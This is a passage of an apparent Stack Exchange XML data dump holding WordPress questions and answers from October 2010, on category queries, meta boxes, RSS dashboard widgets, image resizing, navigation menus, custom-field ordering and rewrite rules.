LastEditDate="2011-07-13T14:12:19.213" LastActivityDate="2011-07-13T14:12:19.213" />
  <row Id="2793" PostTypeId="1" AcceptedAnswerId="2794" CreationDate="2010-10-11T15:11:20.323" Score="1" ViewCount="1065" Body="&lt;p&gt;I have built a query to select posts within a category. Works fine.&#xA;But when I choose to add a secondary filter to exclude a category, the query return the same result set, as if the secondary category filter is being ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following the query should select all posts in category 7 and exclude those in category 10:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querystr = &quot;SELECT * FROM $wpdb-&amp;gt;posts &#xA;LEFT JOIN $wpdb-&amp;gt;term_relationships ON($wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;term_relationships.object_id)  &#xA;LEFT JOIN $wpdb-&amp;gt;term_taxonomy ON($wpdb-&amp;gt;term_relationships.term_taxonomy_id = $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id)  &#xA;&#xA;WHERE ($wpdb-&amp;gt;term_taxonomy.term_id = 7&#xA;   AND $wpdb-&amp;gt;term_taxonomy.term_id &amp;lt;&amp;gt; 10  &#xA;   AND $wpdb-&amp;gt;term_taxonomy.taxonomy = 'category'   &#xA;   AND $wpdb-&amp;gt;posts.post_type = 'post'  &#xA;   AND $wpdb-&amp;gt;posts.post_status = 'publish')&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone help?&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2010-10-11T16:07:09.647" Title="SQL query to select posts from multiple categories" Tags="&lt;query&gt;&lt;mysql&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="2794" PostTypeId="2" ParentId="2793" CreationDate="2010-10-11T16:07:09.647" Score="1" ViewCount="" Body="&lt;p&gt;I would use the built in API like Rarst mentioned. You could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$just_seven = new WP_Query(&#xA;  array(&#xA;    'category__in' =&amp;gt; array( 7 ),&#xA;    'category__not_in' =&amp;gt; array( 10 )&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would then have those items in &lt;code&gt;$just_seven-&amp;gt;posts&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you MUST use a direct SQL statement, I'd suggest using &lt;code&gt;INNER JOIN&lt;/code&gt; instead of &lt;code&gt;LEFT JOIN&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-11T16:07:09.647" CommentCount="6" />
  <row Id="2795" PostTypeId="1" AcceptedAnswerId="2810" CreationDate="2010-10-11T16:54:54.323" Score="0" ViewCount="232" Body="&lt;p&gt;I would like to add a custom write panel to a custom post type. I'm looking at the the code here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wefunction.com/2009/10/revisited-creating-custom-write-panels-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wefunction.com/2009/10/revisited-creating-custom-write-panels-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the custom write panel to appear on a standard post edit page but not for my registered custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_meta_box( 'int_parent_meta', ucfirst( $key ) . 'Options', 'display_meta_box', 'name-of-custom-post-type', 'normal', 'high' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I replace 'name-of-custom-post-type' with 'post' in the above line, the panel appears on the post edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what I'm missing here? Wordpress version is 3.0.1&lt;/p&gt;&#xA;" OwnerUserId="500" LastEditorUserId="500" LastEditorDisplayName="" LastEditDate="2010-10-11T17:03:38.110" LastActivityDate="2010-10-12T10:31:56.173" Title="How can I display a drop-down select of Post Names" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="2796" PostTypeId="1" AcceptedAnswerId="2797" CreationDate="2010-10-11T18:37:33.983" Score="2" ViewCount="89" Body="&lt;p&gt;I would like to add a button under my theme manager which shows a thumbnail listing of available skins (that did not ship with the theme when it was installed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to feed this listing from a file on a central server that I maintain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for some advice on how to best implement this within WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will periodically add new skins to the available listing and would like for users of my theme to be able to view them and perhaps even see a &quot;new&quot; icon when a new skin is first launched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm also interested in the merits of hosting and serving the file from Amazon s3 vs my own server&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-10-11T19:07:32.223" LastActivityDate="2010-10-11T19:34:30.920" Title="Displaying Remote Data inside of Theme admin" Tags="&lt;theme-development&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2797" PostTypeId="2" ParentId="2796" CreationDate="2010-10-11T18:48:59.923" Score="1" ViewCount="" Body="&lt;p&gt;Your best bet here would be a specialized RSS feed set up on your server.  You could bundle a dashboard widget with your theme that automatically pulls this RSS feed and displays the thumbnails and a description of the new skins that are listed on your site.  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 1: RSS Feed&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;First, decide what information you want to display in the widget.  I recommend a skin title, the thumbnail, a short description, and a link to further information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store this information as XML on your server.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 2: Dashboard Widget&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Dashboard_Widgets_API&quot; rel=&quot;nofollow&quot;&gt;Create a dashboard widget&lt;/a&gt; that routinely checks this feed and displays updated items on the dashboard.  You can use just about any existing RSS reader widget as a model here... updates to your server-hosted XML file will automatically appear on remote WordPress dashboards in this section.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-11T18:48:59.923" CommentCount="3" />
  <row Id="2798" PostTypeId="2" ParentId="2796" CreationDate="2010-10-11T19:34:30.920" Score="0" ViewCount="" Body="&lt;p&gt;It may not have the visuals you described, but if you just want to show a basic text feed, the widgets already exists - on the default &quot;Wordpress Blog&quot; or &quot;other Wordpress News&quot; dashboard widgets, hover over the gray header bar and you'll see a &quot;configure&quot; link on the right side appear. Click it and widget shows input fields for your RSS feed, title of the widget, how many items to show, etc.&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-10-11T19:34:30.920" />
  <row Id="2799" PostTypeId="2" ParentId="52" CreationDate="2010-10-11T19:58:44.240" Score="0" ViewCount="" Body="&lt;p&gt;thank you thank you thank you. it was a stinky plugin.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-11T19:58:44.240" />
  <row Id="2800" PostTypeId="1" CreationDate="2010-10-11T20:15:11.927" Score="0" ViewCount="152" Body="&lt;p&gt;I have been running a blog for a friend and over the last months she has been adding insane amounts of images taken directly from a DSLR.  Each takes up around  5-6 MB so the site is now  slow to load and is consuming large amounts of bandwidth and disk size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking on the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-smushit/&quot; rel=&quot;nofollow&quot;&gt;smush.it&lt;/a&gt; plugin, but it doesn't seem to do it ad-hock and also, doesn't do bulk resize. Is there some easy way to fix this on the server with a plugin? Would prefer that instead of download all images and do bulk resize. Big thanks. &lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditorDisplayName="" LastEditDate="2010-10-11T20:23:01.753" LastActivityDate="2010-10-12T02:10:35.147" Title="Decrease image size" Tags="&lt;plugin-recommendation&gt;&lt;image-size&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2801" PostTypeId="2" ParentId="2800" CreationDate="2010-10-11T20:54:36.343" Score="3" ViewCount="" Body="&lt;p&gt;You need the bulk image resize utility:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/bulk-image-resize-utility/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/bulk-image-resize-utility/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used that numerous times and it does a fantastic job!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-11T20:54:36.343" CommentCount="3" />
  <row Id="2802" PostTypeId="1" CreationDate="2010-10-11T21:50:29.693" Score="16" ViewCount="3809" Body="&lt;p&gt;I have a menu defined in WP Admin that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/XnmMh.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to display all the child links on the sidebar whenever I am at a parent page. For example, if the user is on my &quot;About Us&quot; page, I want a list of the 4 links highlighted in green to appear on the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the documentation for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;wp_nav_menu()&lt;/a&gt; and it doesn't appear to have any built-in way to specify a particular node of a given menu to use as the starting point when generating the links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a solution for &lt;a href=&quot;http://wordpress.stackexchange.com/questions/531/generate-a-menu-that-displays-child-pages-using-wp-list-pages-with-the-new-menu/537#537&quot;&gt;a similar situation&lt;/a&gt; which relied on the relationships created by the page parent, but I am looking for one which uses the menu system specifically.  Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-09T15:52:08.107" LastActivityDate="2011-05-24T14:32:13.463" Title="Display a portion/ branch of the menu tree using wp_nav_menu()" Tags="&lt;3.0&gt;&lt;custom-menus&gt;" AnswerCount="9" CommentCount="3" FavoriteCount="9" />
  <row Id="2803" PostTypeId="1" AcceptedAnswerId="2806" CreationDate="2010-10-11T22:53:07.600" Score="1" ViewCount="362" Body="&lt;p&gt;I'm successfully using fetch_feed() to display an RSS feed inside a dashboard widget. However, I'm unable to load the thumbnail image from the items in the feed. I'm attempting to do it with the get_image_url() method, however, WordPress errors out on that method as an undefined method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code is below...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function example_dashboard_widget_function() {&#xA;    // Display whatever it is you want to show   &#xA;    $rss = fetch_feed( &quot;http://localhost/testsite/wp-content/test.rss&quot; );&#xA;&#xA;     if ( is_wp_error($rss) ) {&#xA;          if ( is_admin() || current_user_can('manage_options') ) {&#xA;               echo '&amp;lt;p&amp;gt;';&#xA;               printf(__('&amp;lt;strong&amp;gt;RSS Error&amp;lt;/strong&amp;gt;: %s'), $rss-&amp;gt;get_error_message());&#xA;               echo '&amp;lt;/p&amp;gt;';&#xA;          }&#xA;     return;&#xA;}&#xA;&#xA;if ( !$rss-&amp;gt;get_item_quantity() ) {&#xA;     echo '&amp;lt;p&amp;gt;No RSS items to show!&amp;lt;/p&amp;gt;';&#xA;     $rss-&amp;gt;__destruct();&#xA;     unset($rss);&#xA;     return;&#xA;}&#xA;&#xA;echo &quot;&amp;lt;ul&amp;gt;\n&quot;;&#xA;&#xA;if ( !isset($items) )&#xA;     $items = 10;&#xA;&#xA;     foreach ( $rss-&amp;gt;get_items(0, $items) as $item ) {&#xA;          $publisher = '';&#xA;          $site_link = '';&#xA;          $link = '';&#xA;          $content = '';&#xA;          $date = '';&#xA;          $image = '';&#xA;&#xA;          $image = $item-&amp;gt;get_image_url();&#xA;//        $image = esc_url( strip_tags( $item-&amp;gt;get_thumbnail() ) );&#xA;&#xA;          $link = esc_url( strip_tags( $item-&amp;gt;get_link() ) );&#xA;&#xA;          $content = $item-&amp;gt;get_content();&#xA;          $content = wp_html_excerpt($content, 250) . ' ...';&#xA;&#xA;         echo &quot;&amp;lt;li&amp;gt;&amp;lt;img src='$image' /&amp;gt;&amp;lt;a href='$link'&amp;gt;$link&amp;lt;/a&amp;gt; - $content&amp;lt;/li&amp;gt;\n&quot;;&#xA;}&#xA;&#xA;echo &quot;&amp;lt;/ul&amp;gt;\n&quot;;&#xA;$rss-&amp;gt;__destruct();&#xA;unset($rss);&#xA;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-10-12T01:09:55.507" LastActivityDate="2010-10-12T05:36:44.263" Title="How to enable thumbnails in RSS dashboard widget" Tags="&lt;theme-development&gt;&lt;rss&gt;" AnswerCount="1" />
  <row Id="2804" PostTypeId="2" ParentId="2800" CreationDate="2010-10-11T23:55:41.687" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.imagemagick.org/script/index.php&quot; rel=&quot;nofollow&quot;&gt;ImageMagick&lt;/a&gt; would be a great tool for automatically resizing the images on upload. Hacking your theme's functions.php file (&lt;a href=&quot;http://return-true.com/2010/01/using-imagemagick-with-wordpress-2-9-1/&quot; rel=&quot;nofollow&quot;&gt;described here&lt;/a&gt;) is one way to get this up and running. Of course, you'll need ImageMagick installed on your web host.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2010-10-11T23:55:41.687" />
  <row Id="2805" PostTypeId="2" ParentId="2800" CreationDate="2010-10-12T02:10:35.147" Score="0" ViewCount="" Body="&lt;p&gt;If you upload images outside like on flickr, then you can use their API while accessing the image.&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-10-12T02:10:35.147" />
  <row Id="2806" PostTypeId="2" ParentId="2803" CreationDate="2010-10-12T05:36:44.263" Score="1" ViewCount="" Body="&lt;p&gt;It's a method for completely different thing.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RSS 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to have a “feed logo”, which is a single image to represent the feed. This method returns the notated URL for that image/logo file. &lt;a href=&quot;http://simplepie.org/wiki/reference/simplepie/get_image_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_image_url()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And it complains about undefined because it is method of feed object and you are iterating through feed item objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall it depends on how your feed works with images. If they are simply included in content - mine them from there (with regex or something simpler if not much text). If images are included in media enclosure try &lt;code&gt;get_enclosures()&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-12T05:36:44.263" />
  <row Id="2807" PostTypeId="2" ParentId="1656" CreationDate="2010-10-12T07:22:43.750" Score="1" ViewCount="" Body="&lt;p&gt;I wrote &lt;a href=&quot;http://stackoverflow.com/questions/3397725/wordpress-how-can-i-display-post-link-group-by-year/3477409#3477409&quot;&gt;that original code on Stack Overflow&lt;/a&gt;, but I didn't see your further replies because you posted them as answers and not as comments to my answer. I have tested the code now with a specific category and it works for me, but it needs one crucial change: the call to &lt;code&gt;the_post()&lt;/code&gt; (which I completely forgot) must come right at the beginning of the &lt;code&gt;while ( have_posts() )&lt;/code&gt; loop, otherwise the year will always lag one post behind. I have corrected that in the original answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to specify multiple criteria for your query, you must combine them in the same function call. So not &lt;code&gt;query_posts('cat=27'); query_posts('nopaging=1');&lt;/code&gt;, but &lt;code&gt;query_posts('cat=27&amp;amp;nopaging=1')&lt;/code&gt;. You can also use the array format (as in my original example), I prefer that for readability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A last change: if this is not the main loop of your page (and I suspect this code will end up in a sidebar, so not the main loop), [it is better not to use &lt;code&gt;query_posts()][2]&lt;/code&gt;. Instead, try &lt;code&gt;get_posts()&lt;/code&gt; and use the result of that. I did not know this when I wrote the original answer, but hanging around on this site learns you a lot!&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-12T07:22:43.750" />
  <row Id="2808" PostTypeId="2" ParentId="2802" CreationDate="2010-10-12T07:50:41.343" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@jessegavin&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nav Menus are stored in a combination of custom post types and custom taxonomies.  Each menu is stored as a Term (i.e. &lt;em&gt;&quot;About Menu&quot;&lt;/em&gt;, found in &lt;code&gt;wp_terms&lt;/code&gt;) of a Custom Taxonomy (i.e. &lt;code&gt;nav_menu&lt;/code&gt;, found in &lt;code&gt;wp_term_taxonomy&lt;/code&gt;.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each Nav Menu Item is stored as a post of &lt;code&gt;post_type=='nav_menu_item'&lt;/code&gt; (i.e. &lt;em&gt;&quot;About the Firm&quot;&lt;/em&gt;, found in &lt;code&gt;wp_posts&lt;/code&gt;) with it's attributes stored as post meta (in &lt;code&gt;wp_postmeta&lt;/code&gt;) using a &lt;code&gt;meta_key&lt;/code&gt; prefix of &lt;code&gt;_menu_item_*&lt;/code&gt; where &lt;code&gt;_menu_item_menu_item_parent&lt;/code&gt; is the ID of your menu item's parent Nav Menu item post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relationship between menus and menu items is stored in &lt;code&gt;wp_term_relationships&lt;/code&gt; where &lt;code&gt;object_id&lt;/code&gt; relates to the &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; for the Nav Menu Item and the &lt;code&gt;$term_relationships-&amp;gt;term_taxonomy_id&lt;/code&gt; relates to the menu defined collectively in &lt;code&gt;wp_term_taxonomy&lt;/code&gt;and &lt;code&gt;wp_terms&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure it would be possible to &lt;em&gt;hook&lt;/em&gt; both &lt;code&gt;'wp_update_nav_menu'&lt;/code&gt; and &lt;code&gt;'wp_update_nav_menu_item'&lt;/code&gt; to create actual menus in &lt;code&gt;wp_terms&lt;/code&gt; and a parallel set of relations in &lt;code&gt;wp_term_taxonomy&lt;/code&gt; and &lt;code&gt;wp_term_relationships&lt;/code&gt; where every Nav Menu Item that has sub-Nav Menu items also becomes it's own Nav Menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd also want to &lt;em&gt;hook&lt;/em&gt; &lt;code&gt;'wp_get_nav_menus'&lt;/code&gt; &lt;em&gt;(which I suggested be added to WP 3.0 based on some similar work I was doing a few months ago)&lt;/em&gt; to ensure that your generated Nav Menus are not displayed for manipulation by the user in the admin, otherwise they'd get out of sync really fast and then you'd have a data nightmare on your hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds like a fun and useful project, but it is a little bit more code and testing than I can afford to tackle right now in part because anything that synchronizes data tends to be a PITA when it comes to ironing out all the bugs &lt;em&gt;(and because paying clients are pressing me to get things done. :)&lt;/em&gt; But armed with the above info I'm pretty a motivated WordPress plugin developer could code it if they wanted to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you do realize now if you do code it you are obligated to post it back here so we can all benefit from your largesse! :-)&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-12T07:50:41.343" CommentCount="2" />
  <row Id="2809" PostTypeId="2" ParentId="2802" CreationDate="2010-10-12T09:00:11.753" Score="2" ViewCount="" Body="&lt;p&gt;This is based on &lt;code&gt;wp_nav_menu()&lt;/code&gt; but very simplified. Treat it as idea to dress up, needs a lot of check for correctly returned values, etc. Basically I let WP fill in classes for me, then discard all items that aren't current or child of current.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current_items = array();&#xA;$current = false;&#xA;$menu = wp_get_nav_menu_object( 'submenu' );&#xA;$menu_items = wp_get_nav_menu_items( $menu-&amp;gt;term_id );&#xA;_wp_menu_item_classes_by_context( $menu_items );&#xA;&#xA;foreach ( $menu_items  as $item ) {&#xA;&#xA;    if( in_array( 'current-menu-item', $item-&amp;gt;classes ) ) {&#xA;&#xA;    $current = $item;&#xA;    break;&#xA;    }&#xA;}&#xA;&#xA;$current_items[] = $current;&#xA;&#xA;foreach ( $menu_items as $item ) {&#xA;&#xA;    if( $item-&amp;gt;menu_item_parent == $current-&amp;gt;ID )&#xA;    $current_items[] = $item;&#xA;}&#xA;&#xA;$output = walk_nav_menu_tree( $current_items, 0, array() );&#xA;echo &quot;&amp;lt;ul&amp;gt;{$output}&amp;lt;/ul&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-12T09:00:11.753" />
  <row Id="2810" PostTypeId="2" ParentId="2795" CreationDate="2010-10-12T10:31:56.173" Score="2" ViewCount="" Body="&lt;p&gt;the fourth argument should be the name of the custom post type, as defined when you created the post type. see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_meta_box&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a clearer explanation of how to successfully create metaboxes, see &lt;a href=&quot;http://www.deluxeblogtips.com/2010/04/how-to-create-meta-box-wordpress-post.html&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the second argument should be the callback function, you can create the drop down HTML in a function, and place the function name in this argument and you'll have your pull down menu.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-10-12T10:31:56.173" CommentCount="1" />
  <row Id="2811" PostTypeId="1" CreationDate="2010-10-12T11:36:55.817" Score="0" ViewCount="237" Body="&lt;p&gt;I've installed the Socialite plugin for my wordpress blog, this allows your posts to be included in your facebook status as you publish them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to configure the plugin, it gives you a URL to visit in order to get your API key from facebook, but the URL it sends me to always gives an error (I've tried for several days now)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is really borderline facebook/Wordpress, but I'm wondering if anyone else has got this plugin successfully working with facebook, or if the URL that the plugin directs you to is incorrect?&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-12T14:46:04.350" LastActivityDate="2010-10-12T15:02:21.460" Title="Socialite WP plugin, unable to obtain API keys from FB" Tags="&lt;plugins&gt;&lt;facebook&gt;&lt;api&gt;" AnswerCount="1" />
  <row Id="2812" PostTypeId="1" AcceptedAnswerId="2814" CreationDate="2010-10-12T12:25:58.083" Score="0" ViewCount="1063" Body="&lt;p&gt;I have the following line to change my wp query slightly. The posts are by this ordered by the value in the custom field &quot;wpfp_favorites&quot;. The value is allways an integer. Posts with value 0-9 is sorted correctly, but when a post has value 10 (or more i guess) its not listed above posts with 9.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=wpfp_favorites&amp;amp;orderby=meta_value');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is wrong? You can see the problem in &quot;action&quot; here: &lt;a href=&quot;http://hverdagskupp.no/&quot; rel=&quot;nofollow&quot;&gt;http://hverdagskupp.no/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-10-12T12:31:55.407" Title="orderby in query_posts" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="2813" PostTypeId="1" CreationDate="2010-10-12T12:26:19.970" Score="1" ViewCount="184" Body="&lt;p&gt;I have a form ( method post ) which makes it possible to filter my posts by specific criterias e.g.&#xA;&quot;Most Recent&quot;, &quot;This week&quot;, &quot;Last week&quot;, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine but of course the  URL is the same for each request. I dont want to change the send method to GET and change the URL with that trick. I'm looking for a solution where i can add a rewrite rule to the existing ones which would make it possible to have &quot;dynamic&quot; URLS like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://myurl.com/most-recent&quot; rel=&quot;nofollow&quot;&gt;http://myurl.com/most-recent&lt;/a&gt; &lt;br&gt;&#xA;&lt;a href=&quot;http://myurl.com/last-week&quot; rel=&quot;nofollow&quot;&gt;http://myurl.com/last-week&lt;/a&gt; &lt;br&gt;&#xA;&lt;a href=&quot;http://myurl.com/category-1/most-recent&quot; rel=&quot;nofollow&quot;&gt;http://myurl.com/category-1/most-recent&lt;/a&gt; &lt;br&gt;&#xA;&lt;a href=&quot;http://myurl.com/category-1/last-week&quot; rel=&quot;nofollow&quot;&gt;http://myurl.com/category-1/last-week&lt;/a&gt; &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rewrite rule which lookes for the words &quot;most-recent&quot;, &quot;last-week&quot;, ... at the end of the url, removes those and then falls back to the normal rewrite rules. So those prdefined Post Request would work for categories, pages, posts, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you guys can understand what i mean! &lt;/p&gt;&#xA;" OwnerUserId="1217" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-12T23:07:31.400" LastActivityDate="2010-10-13T21:52:21.540" Title="Generating a Rewrite Rule for sSecific Post-Requests from a Submitted Form?" Tags="&lt;url-rewriting&gt;&lt;filters&gt;" AnswerCount="2" />
  <row Id="2814" PostTypeId="2" ParentId="2812" CreationDate="2010-10-12T12:31:55.407" Score="2" ViewCount="" Body="&lt;p&gt;take a look here:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need to change orderby=meta_value to orderby=meta_value_num -&gt; than you value gets treated as an integer not a string!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=wpfp_favorites&amp;amp;orderby=meta_value_num');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i would pass an array instead of a string like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'meta_key'=&amp;gt;'wpfp_favorites', 'orderby'=&amp;gt;'meta_value_num' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you dont have to but its easier to read and WordPress converts that string to an array anyway....&lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2010-10-12T12:31:55.407" CommentCount="2" />
  <row Id="2815" PostTypeId="2" ParentId="2813" CreationDate="2010-10-12T12:46:01.660" Score="1" ViewCount="" Body="&lt;p&gt;I imagine that wouldn't be too difficult. Assuming the number of custom 'dynamic' urls is known, this should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( array( 'most-recent','last-week','category-1/most-recent','category-1/last-week') as $page )&#xA;  add_rewrite_rule( &quot;$page/?$&quot;, 'index.php', 'top' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this does is tells WordPress &quot;Whenever you have a url structure that matches X, treat it as if the url were just site.com/index.php, and check against this rule before anything else.&quot; WordPress will treat it as if it's the home page, but will also send the &lt;code&gt;$_POST&lt;/code&gt; information from the form and get the correct information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That first argument is a regular expression, so it might not be a bad idea to run each item through &lt;code&gt;preg_quote()&lt;/code&gt; beforehand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helped!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I would strongly advise against using any sort of wildcard regular expression for this operation. Otherwise pages will start matching against this rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For our purposes think of these structures as having positions, separated by &lt;code&gt;/&lt;/code&gt;. For example, in &lt;code&gt;category-1/most-recent&lt;/code&gt;, position 1 would be &lt;code&gt;category-1&lt;/code&gt; and position 2 would be &lt;code&gt;most-recent&lt;/code&gt;. So, for all structures make an array for each position with all the strings that might go into that position. So you might have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$timing = array(&#xA;  'most-recent',&#xA;  'last-week',&#xA;);&#xA;$cats = array(&#xA;  'category-1',&#xA;  'category-2',&#xA;  'category-3'&#xA;);&#xA;$timing = array_map( 'preg_quote', $timing );&#xA;$timing = implode( '|', $timing );&#xA;$cats = array_map( 'preg_quote', $cats );&#xA;$cats = implode( '|', $cats );&#xA;add_rewrite_rule( &quot;($timing)/?$&quot;, 'index.php', 'top' );&#xA;add_rewrite_rule( &quot;($cats)/($timing)/?$&quot;, 'index.php', 'top' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-10-12T13:24:52.940" LastActivityDate="2010-10-12T13:24:52.940" CommentCount="3" />
